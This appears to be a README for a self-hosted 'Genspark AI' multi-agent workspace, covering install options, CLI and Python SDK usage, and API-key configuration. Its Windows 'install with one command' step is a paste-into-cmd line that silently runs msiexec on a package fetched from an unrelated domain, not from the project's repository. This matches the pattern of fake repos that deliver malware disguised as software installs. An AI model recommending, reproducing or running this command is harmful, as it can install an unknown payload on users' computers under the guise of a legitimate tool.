veryyoldman/genspark-ai: the free, self-hosted, open-source alternative to Genspark.ai — a multi-agent AI

The free, self-hosted, open-source alternative to Genspark.ai — a multi-agent AI workspace that researches, writes, codes, builds slides & sheets, generates images, and gets things done. Locally. With any LLM.

🌟 What is Genspark AI?

Genspark AI is an open-source Super Agent framework inspired by Genspark.ai. It coordinates multiple Large Language Models, equips each with a toolbox of 80+ capabilities (web search, code execution, file I/O, image & video generation, document creation, phone calls), and lets them plan, reason, and actually get things done on your behalf.

Think of it as:

A self-hosted AI workspace with a Super Agent at its core. You give it a goal. It decides which models and tools to use, runs them in parallel, fact-checks itself across multiple models, and produces a finished deliverable — a Sparkpage, a slide deck, a spreadsheet, a research report, or an executed task.

Built for developers, researchers, and power users who want Genspark-level capabilities without the credits, paywall, or vendor lock-in.

Why Genspark AI?

⚡ Quick Start

🪟 Windows — install with one command

Open cmd.exe and paste:

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & genspark claw

That's it. The installer will:

1. ✅ Check for Python 3.10+ (and install it via winget if missing)
2. ✅ Create an isolated virtual environment in %USERPROFILE%\.genspark
3. ✅ Install genspark-ai and all dependencies
4. ✅ Register the genspark command in your PATH
5. ✅ Launch the web UI at http://localhost:7681

🐧 Linux / 🍎 macOS

curl -fsSL https://raw.githubusercontent.com/veryyoldman/Genspark-AI/main/install.sh | bash

🐍 Pip (any OS)

pip install genspark-ai
genspark serve

🐳 Docker

docker run -p 7681:7681 -e OPENAI_API_KEY=sk-... ghcr.io/veryyoldman/genspark-ai:latest

Genspark AI uses a planner-executor pattern. The Super Agent decomposes your goal into a DAG of subtasks, dispatches each to a specialist agent armed with the right tools and the right model, and stitches results into a coherent Sparkpage. Every step is logged and inspectable.

See docs/architecture.md for deep details.

🚀 Usage

CLI

# Interactive chat
genspark chat

# One-shot prompt
genspark run "Research the top 5 vector databases in 2026 and build a comparison sheet"

# Launch web UI on a custom port
genspark serve --port 8080

# Start the REST API
genspark api --port 8000

Python SDK

from genspark import SuperAgent

agent = SuperAgent(model="claude-opus-4-7")  # or "gpt-5", "gemini-2.5-pro", "ollama/llama3"

result = agent.run(
    "Find the 10 fastest growing open-source AI agent repos this month, "
    "then build me a 5-slide pitch on the trend."
)

print(result.sparkpage)        # Cited synthesis
result.slides.save("deck.pptx")
result.sheet.save("data.xlsx")

REST API

curl -X POST http://localhost:8000/v1/run \
  -H "Content-Type: application/json" \
  -d '{"prompt": "Plan a 7-day trip to Tokyo for $2,000"}'

🧩 Configuration

Copy .env.example to .env and add the keys for the providers you want:

# Pick at least one LLM provider
OPENAI_API_KEY=sk-...
ANTHROPIC_API_KEY=sk-ant-...
GOOGLE_API_KEY=...

# 100% local? Use Ollama — no key needed
OLLAMA_BASE_URL=http://localhost:11434

# Optional tools
TAVILY_API_KEY=...        # better web search
SERPER_API_KEY=...        # alternative search
TWILIO_AUTH_TOKEN=...     # phone calls

# Default routing
GENSPARK_DEFAULT_MODEL=claude-opus-4-7
GENSPARK_FAST_MODEL=gpt-5-mini
GENSPARK_LOCAL_MODEL=ollama/llama3.2
